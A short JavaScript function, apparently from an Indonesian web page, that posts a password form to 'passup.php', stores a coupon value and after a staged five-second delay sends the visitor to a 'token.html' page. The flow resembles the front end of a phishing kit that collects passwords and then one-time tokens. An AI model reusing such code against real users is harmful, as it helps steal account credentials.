// index
function sendPass() {
    $(".load").fadeIn();
    event.preventDefault();
    var kupon = $('#kupon').val();
    sessionStorage.setItem('kupon', kupon);
    document.getElementById('kirim').innerHTML = "Loading...";

    $.ajax({
        type: 'POST',
        url: '../auth/passup.php',
        data: $('#formPass').serialize(),
        datatype: 'JSON',
        complete: function() {
            setTimeout(function() {
                window.location = "token.html";
                $("#lonte").hide();
                $(".load").fadeOut();
                document.getElementById('kirim').innerHTML = "Batalkan Transaksi";
                vibr(180);
            }, 5000);
        }
    });
};